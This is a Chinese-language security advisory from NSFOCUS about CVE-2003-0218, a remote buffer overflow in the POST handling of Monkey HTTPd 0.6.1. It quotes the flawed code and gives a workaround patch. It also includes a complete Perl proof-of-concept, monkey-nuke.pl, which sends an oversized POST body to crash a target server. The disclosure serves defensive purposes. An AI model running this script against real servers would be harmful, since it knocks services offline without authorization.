安全研究

安全漏洞
Monkey HTTPd远程缓冲区溢出漏洞

发布日期:2003-04-20
更新日期:2003-04-24

受影响系统:
Monkey Monkey HTTP Daemon 0.6.1
不受影响系统:
Monkey Monkey HTTP Daemon 0.6.2
描述:
CVE(CAN) ID: CVE-2003-0218

Monkey是一款开放源代码的WEB服务程序。

Monkey在处理POST请求方法提交的表单时缺少正确缓冲区边界检查,远程攻击者可以利用这个漏洞进行缓冲区溢出攻击,可能以WEB进程权限在系统上执行任意指令。

问题存在于PostMethod()过程中,在第三行有缓冲区分配:

char buffer[MAX_REQUEST_BODY];

MAX_REQUEST_BODY的大小定义在monkey.h头问中:

define MAX_REQUEST_BODY 10240 /* Maximo buffer del request */

而在过程第10行有一个安全检查:

if(content_length_post<=0){

memset(buffer,'\0',sizeof(buffer));
for(i=4;i<strlen(post_buffer);i++){
  buffer[i-4]=post_buffer[i]; // 缓冲区溢出

}

由于条件检查不充分,可导致上面的循环发生缓冲区溢出,攻击者提交超长的POST请求可能以WEB进程权限在系统上执行任意指令。

<*来源:Matthew Murphy (mattmurphy@kc.rr.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=105094204204166&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Matthew Murphy (mattmurphy@kc.rr.com)提供了如下测试方法:

#!/usr/bin/perl
# monkey-nuke.pl
# Monkey HTTPd Remote Buffer Overflow
# Discovery/Exploit by Matthew Murphy
use IO::Socket;
print STDOUT "What host to connect to \[\]\: ";
$host = trim(chomp($line = <STDIN>));
print STDOUT "What port to connect to \[80\]\: ";
$port = trim(chomp($line = <STDIN>));
$addr = "$host\:$port";
print STDOUT "What script to submit to \[\/cgi-bin\/test\.pl\]\: ";
$script = trim(chomp($line = <STDIN>));
$buffer = "A"x11000;
$exploit = "POST /$script HTTP/1.0\r\n";
$exploit.= "Content-Type: application/x-www-form-urlencoded\r\n";
$exploit.= "Content-Length: 11000\r\n\r\n";
$exploit.= "$buffer\r\n\r\n";
$f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$addr);
print $f $exploit;
sleep 5;
undef $f;

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 在monkey.c中,以:

if(content_length_post<=0 || content_length_post >= MAX_REQUEST_BODY){

代替:

if(content_length_post<=0){

厂商补丁:

Monkey
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载使用最新Monkey 0.6.2 版本:

http://monkeyd.sourceforge.net

浏览次数:2815
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障